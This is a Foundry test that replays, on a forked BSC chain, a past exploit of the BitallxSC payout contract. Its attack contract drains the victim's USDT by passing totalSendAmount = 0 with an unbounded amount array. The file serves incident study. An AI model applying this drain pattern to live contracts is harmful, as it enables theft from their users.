src/test/2025-05/bitallx_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 2,029.47 USDT
8// Attacker : 0xF499F7a82De632CFd194025A51C88d1b44C8155e
9// Attack Contract : 0x81e631FaC80CdaC59b1A5BBC5667AaaCB238965F
10// Vulnerable Contract : 0xa5f3728767F834C591eE99C8C5854b752F39C385
11// Attack Tx : https://bscscan.com/tx/0x1fe893e4d8370a8d6da590b32f66bd032217bac2e56bd2bf0de2a9df9c7117dd
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xa5f3728767F834C591eE99C8C5854b752F39C385#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1065
18//
19// Attack summary: The attacker called BitallxPayOut with totalSendAmount = 0 but supplied a payout
20// amount equal to the victim contract's USDT balance, so the function transferred existing victim
21// funds to the attack contract.
22// Root cause: BitallxPayOut checks allowance and balance against totalSendAmount but never checks
23// that sum(amount[]) is bounded by totalSendAmount.
24 
25address constant ATTACKER = 0xF499F7a82De632CFd194025A51C88d1b44C8155e;
26address constant TRACE_ATTACK_CONTRACT = 0x81e631FaC80CdaC59b1A5BBC5667AaaCB238965F;
27address constant BITALLX_SC = 0xa5f3728767F834C591eE99C8C5854b752F39C385;
28address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
29 
30interface IBitallxSC {
31    function BitallxPayOut(
32        address tokencontract,
33        address[] calldata wallet,
34        uint256[] calldata amount,
35        uint256 totalSendAmount
36    ) external;
37}
38 
39interface IBitallxToken {
40    function balanceOf(
41        address account
42    ) external view returns (uint256);
43    function transfer(
44        address recipient,
45        uint256 amount
46    ) external returns (bool);
47}
48 
49contract ContractTest is BaseTestWithBalanceLog {
50    address private profitReceiver;
51 
52    function setUp() public {
53        vm.createSelectFork("bsc", 49_758_338);
54 
55        profitReceiver = makeAddr("profitReceiver");
56        fundingToken = USDT_TOKEN;
57        attacker = profitReceiver;
58 
59        vm.label(ATTACKER, "Attacker EOA");
60        vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");
61        vm.label(BITALLX_SC, "BitallxSC");
62        vm.label(USDT_TOKEN, "USDT");
63    }
64 
65    function testExploit() public balanceLog {
66        uint256 victimBalance = IBitallxToken(USDT_TOKEN).balanceOf(BITALLX_SC);
67        assertEq(victimBalance, 2_029_473_999_999_999_986_000);
68 
69        new BitallxPayOutAttack(profitReceiver);
70 
71        assertEq(IBitallxToken(USDT_TOKEN).balanceOf(profitReceiver), victimBalance);
72        assertEq(IBitallxToken(USDT_TOKEN).balanceOf(BITALLX_SC), 0);
73    }
74}
75 
76contract BitallxPayOutAttack {
77    constructor(
78        address profitReceiver
79    ) {
80        IBitallxToken usdt = IBitallxToken(USDT_TOKEN);
81        uint256 victimBalance = usdt.balanceOf(BITALLX_SC);
82 
83        address[] memory wallets = new address[](1);
84        wallets[0] = address(this);
85 
86        uint256[] memory amounts = new uint256[](1);
87        amounts[0] = victimBalance;
88 
89        IBitallxSC(BITALLX_SC).BitallxPayOut(USDT_TOKEN, wallets, amounts, 0);
90 
91        require(usdt.transfer(profitReceiver, usdt.balanceOf(address(this))), "profit transfer failed");
92    }
93}